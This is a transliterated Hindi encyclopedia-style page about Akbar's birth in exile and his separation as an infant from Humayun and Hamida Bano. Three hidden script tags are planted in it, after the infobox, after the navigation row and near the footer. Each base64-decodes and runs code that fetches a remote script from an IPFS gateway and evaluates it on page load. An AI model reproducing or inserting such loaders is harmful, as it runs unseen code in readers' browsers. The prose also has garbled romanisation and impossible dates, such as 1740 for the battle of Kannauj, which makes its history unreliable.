अकबर का माता-पिता से बिछुड़ना
akabar ka mata-pita se bichhu dana
| |
| poora nam | jalaluddin muhammad akabar |
| janm | 15 aktoobar san 1542 (lagabhag) |
| janm bhoomi | amarakot, sindh (pakistan) |
| mrityu tithi | 27 aktoobar, san 1605 (umr 63 varsh) |
| mrityu sthan | fatehapur sikari, agara |
| pita/mata | humayooan, mariyam maqani |
| pati/patni | mariyam-uzh-zamani (haraka baee) |
| santan | jahaangir ke alava 5 putr 7 betiyaan |
| shasan kal | 27 janavari, 1556 - 27 aktoobar, 1605 ee. |
| rajyabhishek | 14 faravari, 1556 kalanapur ke pas guradasapur |
| yuddh | panipat, haldighati |
| rajadhani | fatehapur sikari agara, dilli |
| poorvadhikari | humayooan |
| uttaradhikari | jahaangir |
| rajagharana | mugal |
| maqabara | sikandara, agara |
| sanbandhit lekh | mugal kal |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
akabar ke janm ke samay ki sthiti sambhavatah humayooan ke jivan ki sarvadhik kashtaprad sthiti thi. is samay usake pas apane sathiyoan ko baantane ke lie ek kastoori ke atirikt kuchh bhi n tha. akabar ka bachapan maan-bap ke sneh se rahit askari ke sanrakshan mean maham anaga, jauhar shamsuddin khaan evan jiji anaga ki dekh-rekh mean kandhar mean bita. humayooan aisi sthiti mean nahian tha ki apane pratham putr ke janmotsav ko uchit riti se mana sakata. sari kathinaiyoan mean malik ke sath rahane vala jauhar, akabar ke samay bahut boodha hokar mara. usane likha hai-
badashah ne is sansmaran ke lekhak ko hukm diya, jo vastuean tumhean mainean sauanp rakhi haian, unhean le ao. is par maian jakar do sau shaharukhadi (rupaya), ek chaandi ka k da aur do dana kastoori (nabhi) le aya. pahali donoan chizoan ko unake malikoan ke pas lautane ke lie hukm diya. phir ek chini ki tastari mangaee. usamean kastoori ko pho dakar rakh diya aur yah kahate hue upasthit vyaktiyoan mean use baanta: "apane putr ke janm din ke upalakshy mean ap logoan ko bheant dene ke lie mere pas bas yahi maujood hai. mujhe vishvas hai, ek din usaki kirti sari duniya mean usi tarah phailegi, jaise ek sthan mean yah kastoori."
pita humayooan ki mushkilean
akabar ka pita humayooan mushkil se nau varsh hi shasan kar paya tha ki 26 joon, 1539 ee. ko ganga kinare 'chausa' (shahabad zile) mean use sherakhaan (sherashah) ke hathoan karari har khani p di. chausa apane aitihasik yuddh ke lie aj utana prasiddh nahian hai, jitana apane svadisht amoan ke lie. chausa ki har ke bad kannauj mean humayooan ne phir bhagy-pariksha ki, lekin sherashah ne 17 mee, 1740 ee. ko apane se kee guna adhik sena ko hara diya. humayooan is bar pashchim ki or bhaga. kitane hi samay tak vah rajasthan ke registanoan mean bhatakata raha, par kahian se bhi use koee sahayata prapt nahian huee. isi bhatakate hue jivan mean usaka parichay hamida bano begam se hua. hamida ka pita shekh ali akabar jami mir baba dost humayooan ke chhote bhaee hindal ka guru tha. hamida ki sagaee ho chuki thi, lekin chahe betakht ka hi ho, akhir humayooan badashah tha. siandh mean pat ke mukam par 1541 ee. ke ant ya 1452 ee. ke prarambh mean 14 varsh ki hamida ka vivah humayooan se ho gaya. apane pichhale jivan mean yahi hamida bano 'mariyam makani' ke nam se prasiddh huee aur apane bete se ek hi sal pahale (29 agast, 1604 ee. mean) mari. us samay kya pata tha ki humayooan ka bhagy palata khayega aur hamida ki kokh se akabar jaisa ek advitiy putr paida hoga.
mata-pita se bichhu dana
humayooan apane khoye hue rajy ko phir se prapt karane ke lie sangharsharat tha. tabhi vah eeran ke tahamasp shah ki sahayata prapt karane ke khyal se kandhar ki or chala. b di mushkil se sehavan par usane siandh par kiya, phir balochistan ke raste kveta ke dakshin mastang sthan par pahuancha, jo ki kandhar ki sima par tha. is samay yahaan par usaka chhota bhaee askari apane bhaee kabul ke shasak kamaran ki or se hukoomat kar raha tha. humayooan ko khabar mili ki askari hamala karake usako pak dana chahata hai. mukabala karane ke lie adami nahian the. jara-si bhi der karane se kam big dane vala tha. usake pas mean gho doan ki bhi kami thi. usane tardi beg se maanga to usane dene se inkar kar diya. humayooan, hamida bano ko apane pichhe gho de par bithakar paha doan ki or bhaga. usake jate der nahian lagi ki askari do hazar savaroan ke sath pahuanch gaya. humayooan sal bhar ke shishu akabar ko le jane mean asamarth hua. vah vahian dere mean chhoot gaya. askari ne bhatije ke oopar gussa nahian utara aur use jauhar adi ke hath achchhi tarah se kandhar le gaya. kandhar mean askari ki patni sultan begam vatsaly dikhalane ke lie taiyar thi.
ab akabar, askari ki patni ki dekharekh mean rahane laga. khanadani pratha ke anusar doodhamataean 'anaga' niyukt ki geean. shamashuddin muhammad ne 1540 ee. mean kannauj ke yuddh mean humayooan ko doobane se bachaya tha, usi ki bibi jiji anaga ko doodh pilane ka kam sauanpa gaya. maham anaga doosari anaga thi. yadyapi usane doodh shayad hi kabhi pilaya ho, par vahi mukhy anaga mani gee aur usake putr akabar ke doodh bhaee (koka ya kokalatash) adaham khaan ka pichhe bahut man badha.
| left|30px|link=akabar ka parichay|pichhe jaean | akabar ka mata-pita se bichhu dana | right|30px|link=akabar ki shiksha|age jaean |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
sanbandhit lekh